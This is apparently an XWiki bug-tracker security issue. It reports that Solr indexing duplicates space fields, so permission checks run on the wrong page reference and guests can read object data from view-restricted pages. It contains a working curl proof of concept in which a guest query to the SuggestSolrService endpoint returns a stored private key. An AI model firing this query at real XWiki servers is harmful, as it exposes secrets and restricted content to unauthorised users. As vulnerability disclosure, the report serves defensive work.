Uploaded image for project: 'XWiki Platform'
  1. XWiki Platform
  2. XWIKI-24384

Solr leaks XObject content of view-restricted pages to guests

    XMLWordPrintable

Details

    • Unknown
    • N/A
    • CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    • 8.2

    Description

      Variant of the closed XWIKI-21138 cluster. object row data is still leaked because the resolver does NOT throw, it builds a wrong DocumentReference that points to a nonexistent doc with default-space view

      Requirements

      • none (guest)

      Explanation

      ObjectSolrMetadataExtractor.setFieldsInternal calls setDocumentFields(documentReference, solrDocument) after AbstractSolrMetadataExtractor.getSolrDocument has already called it. Both call setHierarchyFields which addField spaces. Result: obj rows are indexed with spaces=[Sandbox, Sandbox] (duplicated) instead of spaces=[Sandbox].

      At query time,SolrEntityReferenceResolver.getSpaceReference iterates the spaces field and nests each value, producing a chain Sandbox.Sandbox that doesn't match the real document's space. SolrQueryExecutor.filterResponse then calls isAllowed on the wrong DocumentReference xwiki:Sandbox.Sandbox.<name>, which the rights system treats as a non-existent page in Sandbox where guests have default view -> keep=true, object row retained.

      Scope precondition

      The leak fires when both conditions hold:

      1. The page has a page-level XWiki.XWikiRights XObject restricting view (not a space-level WebPreferences restriction)
      2. The rights walk-up from the resolver's duplicated-spaces ghost reference reaches a top-ancestor space that grants guest view

      PoC

      Provided as bash for simplicity:

      HOST=http://10.1.1.128:8080
      ADMIN=admin:admin
      
      #example page in sandbox (guest reachable)
      curl -s -o /dev/null -u "$ADMIN" -X PUT -H "Content-Type: application/xml" \
        --data '<page xmlns="http://www.xwiki.org"><title>Secret</title><content>placeholder</content></page>' "$HOST/xwiki/rest/wikis/xwiki/spaces/Sandbox/spaces/SecretDemo/pages/WebHome"
      curl -s -u "$ADMIN" -c /tmp/c.txt -o /dev/null "$HOST/xwiki/bin/view/Sandbox/"
      TOK=$(curl -s -b /tmp/c.txt "$HOST/xwiki/bin/edit/Sandbox/SecretDemo/WebHome?editor=object" \
        | grep -oE 'name="form_token"[[:space:]]+value="[^"]+"' | head -1 | sed 's/.*value="//;s/"$//')
      
      # some XWikiRights (page-level, admin-only view) and Crypto.PrivateKeyClass
      for CLS in XWiki.XWikiRights Crypto.PrivateKeyClass; do
        curl -s -b /tmp/c.txt -o /dev/null -X POST \
          "$HOST/xwiki/bin/objectadd/Sandbox/SecretDemo/WebHome" \
          --data-urlencode "classname=$CLS" --data-urlencode "form_token=$TOK"
      done
      
      curl -s -b /tmp/c.txt -o /dev/null -X POST \
        "$HOST/xwiki/bin/save/Sandbox/SecretDemo/WebHome" \
        --data-urlencode "XWiki.XWikiRights_0_groups=XWiki.XWikiAdminGroup" \
        --data-urlencode "XWiki.XWikiRights_0_users=" \
        --data-urlencode "XWiki.XWikiRights_0_levels=view" \
        --data-urlencode "XWiki.XWikiRights_0_allow=1" \
        --data-urlencode "Crypto.PrivateKeyClass_0_key=hello-there" \
        --data-urlencode "form_token=$TOK"
      
      # waiting for solr
      sleep 5 
      

      Then we verify as guest:

      $ curl -s "$HOST/xwiki/bin/get/XWiki/SuggestSolrService?query=type%3AOBJECT\
      +AND+space_exact%3ASandbox.SecretDemo+AND+name%3AWebHome\
      &input=x&nb=10&media=json"
      [
        {
          "id": "xwiki:Sandbox.SecretDemo.WebHome^Crypto.PrivateKeyClass[0]",
          "type": "OBJECT",
          "class": ["Crypto.PrivateKeyClass"],
          "spaces": ["Sandbox","SecretDemo","Sandbox","SecretDemo"],   <- 4 entries; duplicated chain
          "objcontent_": ["key : hello-there"]
        },
        {
          "id": "xwiki:Sandbox.SecretDemo.WebHome^XWiki.XWikiRights[0]",
          "type": "OBJECT",
          "class": ["XWiki.XWikiRights"],
          "spaces": ["Sandbox","SecretDemo","Sandbox","SecretDemo"],
          "objcontent_": ["allow : true","groups : XWiki.XWikiAdminGroup","levels : view","users : "]
        }
      ]
      

      Tested on XWiki 18.3.0

      Attachments

        Issue Links

          Activity

            People

              tmortagne Thomas Mortagne
              ciaens Clément Christiaens
              Votes:
              0 Vote for this issue
              Watchers:
              1 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved: